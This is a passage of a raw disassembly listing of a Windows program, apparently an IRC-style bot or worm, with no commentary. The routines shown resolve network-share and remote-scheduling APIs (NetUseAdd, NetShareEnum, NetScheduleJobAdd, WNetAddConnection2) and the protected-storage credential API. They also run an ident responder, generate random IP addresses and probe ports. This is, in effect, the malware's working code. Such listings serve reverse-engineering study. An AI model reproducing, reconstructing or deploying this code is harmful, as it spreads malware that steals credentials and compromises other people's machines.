sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: sub_4167F1:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DF10, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF18, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF1C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF20, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF24, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF28, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF2C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF30, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF34, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DF38, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DF3C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DF40, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DF44, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DF48, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DF54, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DF58, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DF5C, eax cmp dword_41DF54, 0 jz short loc_403D85 cmp dword_41DF58, 0 jz short loc_403D85 cmp dword_41DF5C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DF54, offset sub_403588 mov dword_41DF58, offset sub_4038BA mov dword_41DF5C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DF50, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DF4C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EF98 test eax, eax jz short loc_403F27 push offset byte_41EF98 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41F018 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E364, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E368 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E364 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E368 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short 